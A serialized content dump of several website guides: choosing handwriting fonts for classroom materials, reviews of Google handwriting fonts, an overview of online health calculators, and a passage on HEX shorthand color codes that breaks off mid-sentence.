Level",[193,112326,112327,112340],{},[196,112328,112329],{},[199,112330,112331,112334,112337],{},[202,112332,112333],{},"Grade Level",[202,112335,112336],{},"Recommended Style",[202,112338,112339],{},"Key Criteria",[211,112341,112342,112353,112364,112374,112385],{},[199,112343,112344,112347,112350],{},[216,112345,112346],{},"Pre-K",[216,112348,112349],{},"Large, simple manuscript",[216,112351,112352],{},"Clear letter shapes, generous spacing",[199,112354,112355,112358,112361],{},[216,112356,112357],{},"K–1",[216,112359,112360],{},"Standard manuscript",[216,112362,112363],{},"Matches curriculum handwriting model",[199,112365,112366,112368,112371],{},[216,112367,100767],{},[216,112369,112370],{},"Transition manuscript\u002Fcursive",[216,112372,112373],{},"Introduces slight slant, prepares for cursive",[199,112375,112376,112379,112382],{},[216,112377,112378],{},"3–5",[216,112380,112381],{},"Cursive",[216,112383,112384],{},"Models proper letter joins",[199,112386,112387,112390,112393],{},[216,112388,112389],{},"6+",[216,112391,112392],{},"Any readable script",[216,112394,112395],{},"Engaging for creative projects, not instruction",[11,112397,112399],{"id":112398},"practical-design-tips","Practical Design Tips",[33,112401,112403],{"id":112402},"size-and-spacing","Size and Spacing",[16,112405,112406],{},"Young readers need larger text. A 24pt font is a reasonable minimum for early elementary worksheets. Line spacing should be at least 1.5x the font size to leave room for ascenders, descenders, and visual breathing room.",[33,112408,112410],{"id":112409},"stroke-visibility","Stroke Visibility",[16,112412,112413],{},"For tracing worksheets, choose fonts with slightly heavier strokes. Ultra-thin lines disappear when printed on standard school printers.",[33,112415,112417],{"id":112416},"consistency-within-a-document","Consistency Within a Document",[16,112419,112420],{},"Do not mix multiple handwriting fonts in one worksheet. It confuses students who are still learning that a letter has a consistent shape. Pick one font and use it throughout.",[33,112422,112424],{"id":112423},"avoid-all-caps","Avoid All-Caps",[16,112426,112427],{},"Handwriting fonts in all-caps look awkward and do not model the capitalization rules children are learning. Sentence case is the natural presentation.",[11,112429,112431],{"id":112430},"free-google-fonts-for-education","Free Google Fonts for Education",[193,112433,112434,112445],{},[196,112435,112436],{},[199,112437,112438,112440,112442],{},[202,112439,9082],{},[202,112441,9085],{},[202,112443,112444],{},"Best Use",[211,112446,112447,112457,112468,112478,112487],{},[199,112448,112449,112451,112454],{},[216,112450,112001],{},[216,112452,112453],{},"Casual manuscript",[216,112455,112456],{},"Worksheets, informal materials",[199,112458,112459,112462,112465],{},[216,112460,112461],{},"Cabin Sketch",[216,112463,112464],{},"Rough manuscript",[216,112466,112467],{},"Creative headers",[199,112469,112470,112472,112475],{},[216,112471,112014],{},[216,112473,112474],{},"Playful script",[216,112476,112477],{},"Bulletin boards, fun activities",[199,112479,112480,112482,112484],{},[216,112481,112040],{},[216,112483,112043],{},[216,112485,112486],{},"Certificates, decorative text",[199,112488,112489,112492,112495],{},[216,112490,112491],{},"Gochi Hand",[216,112493,112494],{},"Bold casual",[216,112496,112497],{},"Posters, large display text",[16,112499,112500],{},"These fonts are free, web-safe, and work in Google Docs, Canva, and most design tools.",[11,112502,112504],{"id":112503},"digital-vs-print-considerations","Digital vs. Print Considerations",[16,112506,112507,112510],{},[47,112508,112509],{},"Print:"," Check that the font renders well at your target size on paper. Some handwriting fonts look great on screen but lose detail when printed at 72 dpi on a laser printer.",[16,112512,112513,112516],{},[47,112514,112515],{},"Digital:"," For interactive worksheets on tablets, ensure the font scales cleanly. Touch targets should be at least 44px wide for young fingers.",[11,112518,1355],{"id":1354},[41,112520,112521,112524,112527,112530,112533],{},[44,112522,112523],{},"Handwriting fonts reduce cognitive load by matching the letterforms children are learning to write",[44,112525,112526],{},"Choose manuscript fonts for early grades, cursive for upper elementary, and tracing fonts for practice sheets",[44,112528,112529],{},"Size matters: use at least 24pt for young readers with generous line spacing",[44,112531,112532],{},"Stick to one font per document to avoid confusing students",[44,112534,112535],{},"Free Google Fonts like Patrick Hand and Indie Flower work well for educational materials",[11,112537,286],{"id":285},[16,112539,112540,112541,112543],{},"Transform plain text into handwriting-style output with our ",[98,112542,40461],{"href":40899}," tool. Paste your worksheet content, choose a style, and get instant results — no design software required.",[11,112545,321],{"id":320},[41,112547,112548,112554],{},[44,112549,112550,112553],{},[98,112551,112552],{"href":40911},"Handwriting Fonts Guide"," — curated list of the best script fonts for web and print",[44,112555,112556,112559],{},[98,112557,112558],{"href":40917},"Digital Handwriting Guide"," — tools and techniques for creating handwriting-style content",{"title":141,"searchDepth":337,"depth":337,"links":112561},[112562,112563,112569,112570,112576,112577,112578,112579,112580],{"id":112247,"depth":337,"text":112248},{"id":112260,"depth":337,"text":112261,"children":112564},[112565,112566,112567,112568],{"id":112264,"depth":343,"text":112265},{"id":112282,"depth":343,"text":112283},{"id":112299,"depth":343,"text":112300},{"id":112311,"depth":343,"text":112312},{"id":112323,"depth":337,"text":112324},{"id":112398,"depth":337,"text":112399,"children":112571},[112572,112573,112574,112575],{"id":112402,"depth":343,"text":112403},{"id":112409,"depth":343,"text":112410},{"id":112416,"depth":343,"text":112417},{"id":112423,"depth":343,"text":112424},{"id":112430,"depth":337,"text":112431},{"id":112503,"depth":337,"text":112504},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Discover the best handwriting fonts for worksheets, flashcards, and classroom materials. Learn how font choice affects readability and student engagement.",{"keywords":112583,"immutable":363},[40525,112584],"handwriting-fonts-educational-materials","\u002Fguides\u002Fhandwriting-fonts-educational-materials",{"title":112242,"description":112581},"guides\u002Fhandwriting-fonts-educational-materials","LY5vK6xOJohqI4fD31WL-wgK7AoiSB-ZEBKM8gDuUJ8",{"id":112590,"title":40912,"body":112591,"date":2070,"description":113062,"extension":361,"meta":113063,"navigation":363,"path":40911,"readingTime":7146,"seo":113066,"stem":113067,"__hash__":113068},"guides\u002Fguides\u002Fhandwriting-fonts-guide.md",{"type":8,"value":112592,"toc":113041},[112593,112596,112600,112603,112661,112664,112668,112671,112674,112677,112703,112706,112710,112713,112735,112738,112741,112744,112766,112769,112772,112775,112796,112799,112802,112805,112826,112829,112833,112836,112929,112932,112936,112939,112943,112946,112950,112953,112964,112967,112971,112982,112986,112989,112993,112996,112998,113018,113020,113023,113029,113031],[16,112594,112595],{},"Handwriting fonts bring warmth and personality to any design. Unlike geometric sans-serifs, script fonts mimic the irregular strokes of real penmanship — making digital content feel human and approachable. This guide breaks down the main categories, reviews five standout Google Fonts, and shows you how to pick the right one for your project.",[11,112597,112599],{"id":112598},"three-categories-of-script-fonts","Three Categories of Script Fonts",[16,112601,112602],{},"Not all handwriting fonts are the same. Understanding the differences helps you choose faster and avoid mismatches.",[193,112604,112605,112618],{},[196,112606,112607],{},[199,112608,112609,112611,112613,112616],{},[202,112610,919],{},[202,112612,94505],{},[202,112614,112615],{},"Vibe",[202,112617,489],{},[211,112619,112620,112633,112647],{},[199,112621,112622,112624,112627,112630],{},[216,112623,112381],{},[216,112625,112626],{},"Connected strokes, formal loops",[216,112628,112629],{},"Elegant, traditional",[216,112631,112632],{},"Invitations, certificates, luxury branding",[199,112634,112635,112638,112641,112644],{},[216,112636,112637],{},"Handwriting",[216,112639,112640],{},"Disconnected or loosely connected letters, casual",[216,112642,112643],{},"Friendly, personal",[216,112645,112646],{},"Blogs, educational content, social media",[199,112648,112649,112652,112655,112658],{},[216,112650,112651],{},"Brush",[216,112653,112654],{},"Thick-to-thin strokes, paint-like texture",[216,112656,112657],{},"Bold, artistic",[216,112659,112660],{},"Posters, headlines, creative branding",[16,112662,112663],{},"Cursive fonts follow formal calligraphy rules. Handwriting fonts look like everyday pen-on-paper writing. Brush fonts simulate marker or paintbrush strokes and carry the most visual weight of the three.",[11,112665,112667],{"id":112666},"five-google-fonts-handwriting-fonts-reviewed","Five Google Fonts Handwriting Fonts Reviewed",[16,112669,112670],{},"Google Fonts offers hundreds of script options. These five stand out for quality, readability, and versatility.",[33,112672,10172],{"id":112673},"caveat",[16,112675,112676],{},"Caveat delivers a compact, energetic handwritten feel. Its slightly condensed letterforms work well in tight spaces like sidebar quotes or button labels.",[41,112678,112679,112685,112691,112697],{},[44,112680,112681,112684],{},[47,112682,112683],{},"Weight range:"," Regular, Bold",[44,112686,112687,112690],{},[47,112688,112689],{},"Readability:"," High at body-text sizes (14px+)",[44,112692,112693,112696],{},[47,112694,112695],{},"Personality:"," Casual, slightly quirky",[44,112698,112699,112702],{},[47,112700,112701],{},"Best use:"," UI labels, informal headings, personal blogs",[16,112704,112705],{},"The bold weight maintains the hand-drawn quality without looking muddy, which is rare among handwriting fonts at smaller sizes.",[33,112707,112709],{"id":112708},"kalam","Kalam",[16,112711,112712],{},"Kalam was designed for Hindi and Latin scripts, giving it a slightly rounder, more playful shape than typical Western handwriting fonts.",[41,112714,112715,112720,112725,112730],{},[44,112716,112717,112719],{},[47,112718,112683],{}," Light, Regular, Bold",[44,112721,112722,112724],{},[47,112723,112689],{}," Medium — works best at 16px and above",[44,112726,112727,112729],{},[47,112728,112695],{}," Cheerful, approachable",[44,112731,112732,112734],{},[47,112733,112701],{}," Educational content, children's sites, friendly UI",[16,112736,112737],{},"The light weight is delicate without disappearing, and the bold carries real impact. However, avoid Kalam at small sizes — the rounded terminals lose clarity below 14px.",[33,112739,112001],{"id":112740},"patrick-hand",[16,112742,112743],{},"Patrick Hand closely mimics ballpoint pen writing with consistent stroke width and slight forward slant.",[41,112745,112746,112751,112756,112761],{},[44,112747,112748,112750],{},[47,112749,112683],{}," Regular only",[44,112752,112753,112755],{},[47,112754,112689],{}," Very high — one of the most legible handwriting fonts",[44,112757,112758,112760],{},[47,112759,112695],{}," Straightforward, clean, everyday",[44,112762,112763,112765],{},[47,112764,112701],{}," Form headers, instructional content, annotations",[16,112767,112768],{},"The single-weight limitation is its biggest drawback. Pair it with a sans-serif body font like Open Sans for contrast.",[33,112770,112014],{"id":112771},"indie-flower",[16,112773,112774],{},"Indie Flower has exaggerated loops and bouncy baselines that give it a distinctly carefree look.",[41,112776,112777,112781,112786,112791],{},[44,112778,112779,112750],{},[47,112780,112683],{},[44,112782,112783,112785],{},[47,112784,112689],{}," Low at small sizes — best for display use only",[44,112787,112788,112790],{},[47,112789,112695],{}," Whimsical, youthful, creative",[44,112792,112793,112795],{},[47,112794,112701],{}," Hero text, decorative titles, craft brand logos",[16,112797,112798],{},"This font demands attention but sacrifices legibility. Never set body copy in Indie Flower. Reserve it for headlines above 24px.",[33,112800,112027],{"id":112801},"dancing-script",[16,112803,112804],{},"Dancing Script bridges the gap between formal cursive and casual handwriting. Its flowing connections give it a polished feel.",[41,112806,112807,112811,112816,112821],{},[44,112808,112809,112684],{},[47,112810,112683],{},[44,112812,112813,112815],{},[47,112814,112689],{}," Medium — works well at 18px+",[44,112817,112818,112820],{},[47,112819,112695],{}," Refined, warm, slightly feminine",[44,112822,112823,112825],{},[47,112824,112701],{}," Subheadings, pull quotes, lifestyle brands",[16,112827,112828],{},"The bold weight is particularly effective for slide decks and presentation titles where you need a script that reads clearly from a distance.",[11,112830,112832],{"id":112831},"choosing-the-right-font-for-your-scenario","Choosing the Right Font for Your Scenario",[16,112834,112835],{},"The \"right\" handwriting font depends entirely on context. Here is a quick decision framework:",[193,112837,112838,112852],{},[196,112839,112840],{},[199,112841,112842,112844,112847,112850],{},[202,112843,21080],{},[202,112845,112846],{},"Recommended Category",[202,112848,112849],{},"Example Font",[202,112851,13021],{},[211,112853,112854,112866,112878,112891,112902,112916],{},[199,112855,112856,112859,112861,112863],{},[216,112857,112858],{},"Blog post heading",[216,112860,112637],{},[216,112862,10172],{},[216,112864,112865],{},"24–32px",[199,112867,112868,112871,112873,112875],{},[216,112869,112870],{},"Wedding invitation",[216,112872,112381],{},[216,112874,112027],{},[216,112876,112877],{},"16–20px",[199,112879,112880,112883,112885,112888],{},[216,112881,112882],{},"Poster headline",[216,112884,112651],{},[216,112886,112887],{},"(Choose a brush font)",[216,112889,112890],{},"48px+",[199,112892,112893,112896,112898,112900],{},[216,112894,112895],{},"Children's app UI",[216,112897,112637],{},[216,112899,112709],{},[216,112901,112877],{},[199,112903,112904,112907,112910,112913],{},[216,112905,112906],{},"Slide presentation",[216,112908,112909],{},"Cursive or Handwriting",[216,112911,112912],{},"Dancing Script or Patrick Hand",[216,112914,112915],{},"28–40px",[199,112917,112918,112921,112924,112926],{},[216,112919,112920],{},"Social media graphic",[216,112922,112923],{},"Brush or Handwriting",[216,112925,112014],{},[216,112927,112928],{},"32px+",[16,112930,112931],{},"When in doubt, pick the more legible option. A handwriting font that readers struggle to decode defeats its own purpose.",[11,112933,112935],{"id":112934},"best-practices-for-handwriting-fonts-on-the-web","Best Practices for Handwriting Fonts on the Web",[16,112937,112938],{},"Script fonts can elevate a design — or destroy readability. Follow these rules to get the benefit without the pain.",[33,112940,112942],{"id":112941},"limit-to-headings-and-accents","Limit to Headings and Accents",[16,112944,112945],{},"Never set body copy in a handwriting font. Reserve it for headings, subheadings, captions, or decorative elements. Body text needs a clean, highly legible font — usually a sans-serif or serif.",[33,112947,112949],{"id":112948},"pair-with-a-neutral-body-font","Pair with a Neutral Body Font",[16,112951,112952],{},"Good pairings create contrast. A handwriting heading pops against a clean body font. Try these combinations:",[41,112954,112955,112958,112961],{},[44,112956,112957],{},"Caveat + Inter",[44,112959,112960],{},"Patrick Hand + Roboto",[44,112962,112963],{},"Dancing Script + Lato",[16,112965,112966],{},"The handwriting font handles personality; the body font handles readability.",[33,112968,112970],{"id":112969},"watch-your-line-height-and-letter-spacing","Watch Your Line Height and Letter Spacing",[16,112972,112973,112974,112977,112978,112981],{},"Script fonts often need more line height than geometric fonts. Start with ",[143,112975,112976],{},"line-height: 1.5"," for handwriting headings and adjust from there. Tight letter spacing can cause overlapping strokes in connected cursive — increase ",[143,112979,112980],{},"letter-spacing"," by 0.01–0.03em if letters collide.",[33,112983,112985],{"id":112984},"load-only-the-weights-you-use","Load Only the Weights You Use",[16,112987,112988],{},"Google Fonts lets you select specific weights. Loading unused weights wastes bandwidth and slows page load. If you only need Caveat Regular, do not import the bold weight.",[33,112990,112992],{"id":112991},"test-across-devices","Test Across Devices",[16,112994,112995],{},"Handwriting fonts render differently on Windows, macOS, iOS, and Android. Windows in particular tends to anti-alias script fonts more heavily, which can make thin strokes look blurry. Always preview your chosen font on at least one Windows machine before committing.",[11,112997,1355],{"id":1354},[41,112999,113000,113003,113006,113009,113012,113015],{},[44,113001,113002],{},"Handwriting fonts fall into three categories: cursive, handwriting, and brush — each suited to different moods and use cases",[44,113004,113005],{},"Caveat and Patrick Hand are the safest choices for general web use due to their high readability",[44,113007,113008],{},"Reserve handwriting fonts for headings and accents, never for body text",[44,113010,113011],{},"Pair script fonts with neutral sans-serifs for maximum contrast and legibility",[44,113013,113014],{},"Adjust line height and letter spacing to prevent stroke overlap",[44,113016,113017],{},"Always test across operating systems before finalizing your font choice",[11,113019,286],{"id":285},[16,113021,113022],{},"Want to see how your text looks in a handwriting font? Our free text-to-handwriting tool lets you type or paste any text, choose from multiple handwriting styles, pick a paper background, and export the result as an image.",[16,113024,113025],{},[98,113026,113027],{"href":40899},[47,113028,40902],{},[11,113030,321],{"id":320},[41,113032,113033,113037],{},[44,113034,113035],{},[98,113036,40918],{"href":40917},[44,113038,113039],{},[98,113040,40429],{"href":40941},{"title":141,"searchDepth":337,"depth":337,"links":113042},[113043,113044,113051,113052,113059,113060,113061],{"id":112598,"depth":337,"text":112599},{"id":112666,"depth":337,"text":112667,"children":113045},[113046,113047,113048,113049,113050],{"id":112673,"depth":343,"text":10172},{"id":112708,"depth":343,"text":112709},{"id":112740,"depth":343,"text":112001},{"id":112771,"depth":343,"text":112014},{"id":112801,"depth":343,"text":112027},{"id":112831,"depth":337,"text":112832},{"id":112934,"depth":337,"text":112935,"children":113053},[113054,113055,113056,113057,113058],{"id":112941,"depth":343,"text":112942},{"id":112948,"depth":343,"text":112949},{"id":112969,"depth":343,"text":112970},{"id":112984,"depth":343,"text":112985},{"id":112991,"depth":343,"text":112992},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Curated guide to the best handwriting fonts for digital projects, websites, and presentations with practical selection tips.",{"keywords":113064},[40525,113065],"handwriting-fonts-guide",{"title":40912,"description":113062},"guides\u002Fhandwriting-fonts-guide","3LpxCctO2DDFSjUBqb1SYQiQV8-xBKOo2hQYbAOrsWk",{"id":113070,"title":113071,"body":113072,"date":2070,"description":113510,"extension":361,"meta":113511,"navigation":363,"path":15311,"readingTime":889,"seo":113512,"stem":113513,"__hash__":113514},"guides\u002Fguides\u002Fhealth-calculators-online.md","Health Calculators Online",{"type":8,"value":113073,"toc":113491},[113074,113078,113081,113084,113088,113111,113114,113118,113121,113127,113133,113137,113148,113156,113158,113163,113167,113178,113183,113187,113191,113196,113200,113211,113216,113220,113225,113229,113240,113245,113249,113254,113258,113269,113273,113338,113342,113345,113377,113382,113393,113397,113429,113431,113451,113453,113456,113464,113474,113476],[11,113075,113077],{"id":113076},"best-health-calculators-online","Best Health Calculators Online",[16,113079,113080],{},"Online health calculators turn raw numbers — your weight, height, age, activity level — into actionable insights. Instead of guessing whether you are at a healthy weight or how many calories you need, these tools give you personalized estimates in seconds.",[16,113082,113083],{},"This guide covers the most useful health calculators available online, when to use each one, and how to combine them for a complete picture of your fitness.",[11,113085,113087],{"id":113086},"why-use-online-health-calculators","Why Use Online Health Calculators?",[41,113089,113090,113095,113100,113105],{},[44,113091,113092,113094],{},[47,113093,819],{},": Get results instantly — no spreadsheets, no manual formulas",[44,113096,113097,113099],{},[47,113098,825],{},": Built-in unit conversions and edge-case handling (leap years, metric\u002Fimperial)",[44,113101,113102,113104],{},[47,113103,831],{},": Same inputs always produce the same outputs",[44,113106,113107,113110],{},[47,113108,113109],{},"Free access",": No app downloads or subscriptions required",[16,113112,113113],{},"The key limitation: calculators provide estimates, not diagnoses. Always pair them with professional medical advice for health decisions.",[11,113115,113117],{"id":113116},"core-health-calculators","Core Health Calculators",[33,113119,15034],{"id":113120},"bmi-calculator",[16,113122,113123],{},[98,113124,113126],{"href":15032,"rel":113125},[14956],"BMI Calculator →",[16,113128,113129,113132],{},[47,113130,113131],{},"What it does",": Calculates your Body Mass Index from weight and height, then maps it to WHO categories (Underweight, Normal, Overweight, Obese).",[16,113134,113135,8037],{},[47,113136,61666],{},[41,113138,113139,113142,113145],{},[44,113140,113141],{},"Quick weight screening",[44,113143,113144],{},"Tracking weight trends over months",[44,113146,113147],{},"Population-level health studies",[16,113149,113150,113152,113153,113155],{},[47,113151,61655],{},": Does not distinguish muscle from fat. Athletes, older adults, and certain ethnic groups may get misleading results. See our ",[98,113154,15343],{"href":15305}," guide for a full breakdown.",[33,113157,101],{"id":418},[16,113159,113160,113162],{},[47,113161,113131],{},": Computes your exact age in years, months, and days from your date of birth, plus extras like total days lived and next birthday countdown.",[16,113164,113165,8037],{},[47,113166,61666],{},[41,113168,113169,113172,113175],{},[44,113170,113171],{},"Legal age verification (driving, voting, retirement)",[44,113173,113174],{},"Medical dosage calculations (pediatric)",[44,113176,113177],{},"Planning milestone events",[16,113179,113180,113182],{},[47,113181,61655],{},": Different jurisdictions handle February 29 births differently. A reliable calculator accounts for leap-year conventions.",[11,113184,113186],{"id":113185},"fitness-and-nutrition-calculators","Fitness and Nutrition Calculators",[33,113188,113190],{"id":113189},"calorie-calculator","Calorie Calculator",[16,113192,113193,113195],{},[47,113194,113131],{},": Estimates daily calorie needs based on age, sex, height, weight, and activity level using validated equations like Mifflin-St Jeor.",[16,113197,113198,8037],{},[47,113199,61666],{},[41,113201,113202,113205,113208],{},[44,113203,113204],{},"Setting weight-loss or muscle-gain calorie targets",[44,113206,113207],{},"Understanding total daily energy expenditure (TDEE)",[44,113209,113210],{},"Meal planning",[16,113212,113213,113215],{},[47,113214,61655],{},": Equations are statistical averages. Your actual metabolism may vary by 10–20% from the estimate.",[33,113217,113219],{"id":113218},"body-fat-percentage-calculator","Body Fat Percentage Calculator",[16,113221,113222,113224],{},[47,113223,113131],{},": Estimates body fat from measurements like waist, neck, and hip circumference using the U.S. Navy method.",[16,113226,113227,8037],{},[47,113228,61666],{},[41,113230,113231,113234,113237],{},[44,113232,113233],{},"Athletes who need a more accurate metric than BMI",[44,113235,113236],{},"Tracking fitness progress beyond the scale",[44,113238,113239],{},"Identifying \"skinny fat\" patterns (normal BMI, high body fat)",[16,113241,113242,113244],{},[47,113243,61655],{},": Tape-measure methods have a 3–5% margin of error. DEXA scans are far more accurate but cost significantly more.",[33,113246,113248],{"id":113247},"macro-calculator","Macro Calculator",[16,113250,113251,113253],{},[47,113252,113131],{},": Breaks daily calories into protein, carbohydrate, and fat targets based on your goals (cut, maintain, bulk).",[16,113255,113256,8037],{},[47,113257,61666],{},[41,113259,113260,113263,113266],{},[44,113261,113262],{},"Precision nutrition planning",[44,113264,113265],{},"Ensuring adequate protein intake for muscle retention",[44,113267,113268],{},"Balancing macronutrients for energy and recovery",[11,113270,113272],{"id":113271},"choose-the-right-calculator-for-your-goal","Choose the Right Calculator for Your Goal",[193,113274,113275,113287],{},[196,113276,113277],{},[199,113278,113279,113281,113284],{},[202,113280,104805],{},[202,113282,113283],{},"Primary Calculator",[202,113285,113286],{},"Supplementary Tools",[211,113288,113289,113299,113309,113318,113328],{},[199,113290,113291,113294,113296],{},[216,113292,113293],{},"General weight screening",[216,113295,15034],{},[216,113297,113298],{},"Waist measurement",[199,113300,113301,113304,113306],{},[216,113302,113303],{},"Weight loss planning",[216,113305,113190],{},[216,113307,113308],{},"Macro Calculator, BMI",[199,113310,113311,113314,113316],{},[216,113312,113313],{},"Muscle building",[216,113315,113248],{},[216,113317,15949],{},[199,113319,113320,113323,113325],{},[216,113321,113322],{},"Age-specific health checks",[216,113324,101],{},[216,113326,113327],{},"BMI (with age-adjusted thresholds)",[199,113329,113330,113333,113335],{},[216,113331,113332],{},"Athletic performance",[216,113334,15949],{},[216,113336,113337],{},"Macro Calculator, Calorie Calculator",[11,113339,113341],{"id":113340},"how-to-combine-multiple-calculators","How to Combine Multiple Calculators",[16,113343,113344],{},"Using a single metric gives you a narrow view. Stack calculators for a fuller picture:",[77,113346,113347,113353,113359,113365,113371],{},[44,113348,113349,113352],{},[47,113350,113351],{},"Start with BMI"," — get a baseline weight category",[44,113354,113355,113358],{},[47,113356,113357],{},"Add body fat percentage"," — confirm whether your BMI reflects fat or muscle",[44,113360,113361,113364],{},[47,113362,113363],{},"Calculate your calories"," — align your intake with your goals",[44,113366,113367,113370],{},[47,113368,113369],{},"Set your macros"," — distribute calories into protein, carbs, and fat",[44,113372,113373,113376],{},[47,113374,113375],{},"Know your exact age"," — adjust thresholds (older adults, pediatric dosing)",[16,113378,113379,8037],{},[47,113380,113381],{},"Example workflow",[41,113383,113384,113387,113390],{},[44,113385,113386],{},"BMI result: 27.2 (Overweight)",[44,113388,113389],{},"Body fat: 19% (acceptable for a male athlete)",[44,113391,113392],{},"Conclusion: BMI overestimates risk — muscle mass is the driver, not excess fat",[11,113394,113396],{"id":113395},"common-mistakes-when-using-health-calculators","Common Mistakes When Using Health Calculators",[77,113398,113399,113405,113411,113417,113423],{},[44,113400,113401,113404],{},[47,113402,113403],{},"Treating estimates as diagnoses."," Calculators approximate. Blood panels, DEXA scans, and physician evaluations provide clinical accuracy.",[44,113406,113407,113410],{},[47,113408,113409],{},"Ignoring ethnicity and age adjustments."," Standard BMI thresholds underestimate risk for Asian adults and overestimate risk for some older populations.",[44,113412,113413,113416],{},[47,113414,113415],{},"Using outdated inputs."," Re-measure your weight and waist circumference regularly. Stale data produces stale guidance.",[44,113418,113419,113422],{},[47,113420,113421],{},"Focusing on one number."," BMI alone does not tell you whether weight comes from fat or muscle. Always cross-check with at least one other metric.",[44,113424,113425,113428],{},[47,113426,113427],{},"Forgetting activity level."," Calorie and macro calculators are highly sensitive to the activity multiplier you select. Overestimating activity is the most common input error.",[11,113430,1355],{"id":1354},[41,113432,113433,113436,113439,113442,113445,113448],{},[44,113434,113435],{},"Health calculators turn measurements into actionable estimates — fast and free",[44,113437,113438],{},"BMI is the best starting point for weight screening, but has known blind spots",[44,113440,113441],{},"Pair BMI with body fat percentage or waist measurement for accuracy",[44,113443,113444],{},"Calorie and macro calculators are essential for nutrition planning",[44,113446,113447],{},"Always adjust thresholds for age, ethnicity, and activity level",[44,113449,113450],{},"No calculator replaces professional medical advice",[11,113452,286],{"id":285},[16,113454,113455],{},"Start with our most popular health tools — both free and instant.",[16,113457,4531,113458,113463],{},[98,113459,113461],{"href":15032,"rel":113460},[14956],[47,113462,15269],{}," — enter your height and weight, get your BMI and healthy range",[16,113465,4531,113466,113473],{},[98,113467,113470],{"href":113468,"rel":113469},"https:\u002F\u002Ftoolboxes.site\u002Ftools\u002Fage-calculator",[14956],[47,113471,113472],{},"Free Age Calculator"," — find your exact age in years, months, and days",[11,113475,321],{"id":320},[41,113477,113478,113482,113486],{},[44,113479,113480],{},[98,113481,15756],{"href":15337},[44,113483,113484],{},[98,113485,15306],{"href":15305},[44,113487,113488],{},[98,113489,113490],{"href":364},"Age Calculator Guide — How to Calculate Exact Age",{"title":141,"searchDepth":337,"depth":337,"links":113492},[113493,113494,113495,113499,113504,113505,113506,113507,113508,113509],{"id":113076,"depth":337,"text":113077},{"id":113086,"depth":337,"text":113087},{"id":113116,"depth":337,"text":113117,"children":113496},[113497,113498],{"id":113120,"depth":343,"text":15034},{"id":418,"depth":343,"text":101},{"id":113185,"depth":337,"text":113186,"children":113500},[113501,113502,113503],{"id":113189,"depth":343,"text":113190},{"id":113218,"depth":343,"text":113219},{"id":113247,"depth":343,"text":113248},{"id":113271,"depth":337,"text":113272},{"id":113340,"depth":337,"text":113341},{"id":113395,"depth":337,"text":113396},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Essential online health and fitness calculators. Compare BMI, age, body fat, and other tools to track your wellness goals.",{"immutable":363},{"title":113071,"description":113510},"guides\u002Fhealth-calculators-online","UAW492BW2YvaTGcgy9kdouMn0alsbq24WOIHseiFxvw",{"id":113516,"title":113517,"body":113518,"date":2070,"description":114299,"extension":361,"meta":114300,"navigation":363,"path":114301,"readingTime":1710,"seo":114302,"stem":114303,"__hash__":114304},"guides\u002Fguides\u002Fhex-shorthand-colors.md","HEX Shorthand Color Codes Guide",{"type":8,"value":113519,"toc":114286},[113520,113524,113534,113588,113600,113604,113644,113647,113756,113760,113763,113795,113810,113814,113818,113854,113857,113861,113893,113905,113909,113919,113961,114035,114038,114042,114045,114240,114242,114276,114278,114283],[11,113521,113523],{"id":113522},"what-are-hex-shorthand-codes","What Are HEX Shorthand Codes?",[16,113525,113526,113527,113529,113530,28833,113532,468],{},"Standard hex color codes use six hexadecimal digits — two each for red, green, and blue: ",[143,113528,5136],{},". Shorthand codes compress this to three digits by duplicating each digit: ",[143,113531,5133],{},[143,113533,5136],{},[135,113535,113537],{"className":1554,"code":113536,"language":1556,"meta":141,"style":141},"\u002F* These are equivalent *\u002F\ncolor: #f00;      \u002F* #ff0000 *\u002F\ncolor: #0f0;      \u002F* #00ff00 *\u002F\ncolor: #00f;      \u002F* #0000ff *\u002F\ncolor: #abc;      \u002F* #aabbcc *\u002F\n",[143,113538,113539,113543,113554,113566,113578],{"__ignoreMap":141},[1560,113540,113541],{"class":1562,"line":1563},[1560,113542,63106],{"class":1649},[1560,113544,113545,113548,113551],{"class":1562,"line":337},[1560,113546,113547],{"class":1570},"color: ",[1560,113549,113550],{"class":5159},"#f00;",[1560,113552,113553],{"class":1649},"      \u002F* #ff0000 *\u002F\n",[1560,113555,113556,113558,113561,113563],{"class":1562,"line":343},[1560,113557,113547],{"class":1570},[1560,113559,113560],{"class":5159},"#0f0",[1560,113562,58831],{"class":1570},[1560,113564,113565],{"class":1649},"\u002F* #00ff00 *\u002F\n",[1560,113567,113568,113570,113573,113575],{"class":1562,"line":365},[1560,113569,113547],{"class":1570},[1560,113571,113572],{"class":5159},"#00f",[1560,113574,58831],{"class":1570},[1560,113576,113577],{"class":1649},"\u002F* #0000ff *\u002F\n",[1560,113579,113580,113582,113585],{"class":1562,"line":889},[1560,113581,113547],{"class":1570},[1560,113583,113584],{"class":5159},"#abc;",[1560,113586,113587],{"class":1649},"      \u002F* #aabbcc *\u002F\n",[16,113589,113590,113591,5461,113594,88000,113597,468],{},"Each shorthand digit is repeated to fill the two-digit slot for that channel. The shorthand ",[143,113592,113593],{},"#3a5",[143,113595,113596],{},"#33aa55",[143,113598,113599],{},"#300a50",[11,113601,113603],{"id":113602},"when-shorthand-works","When Shorthand Works",[16,113605,113606,113607,1459,113609,1459,113611,1459,113614,1459,113616,1459,113619,1459,113621,1459,113623,1459,113626,1459,113629,1459,113631,1459,113634,1459,113636,1459,113638,1459,113640,1459,113642,468],{},"Shorthand codes work when both digits of each channel are identical. There are only 16 values per channel where this is true: ",[143,113608,5254],{},[143,113610,103090],{},[143,113612,113613],{},"22",[143,113615,5295],{},[143,113617,113618],{},"44",[143,113620,46113],{},[143,113622,5308],{},[143,113624,113625],{},"77",[143,113627,113628],{},"88",[143,113630,5334],{},[143,113632,113633],{},"aa",[143,113635,5346],{},[143,113637,5359],{},[143,113639,5372],{},[143,113641,5385],{},[143,113643,5258],{},[16,113645,113646],{},"That gives you 16 × 16 × 16 = 4,096 colors representable in shorthand — a tiny fraction of the 16.7 million colors available in full 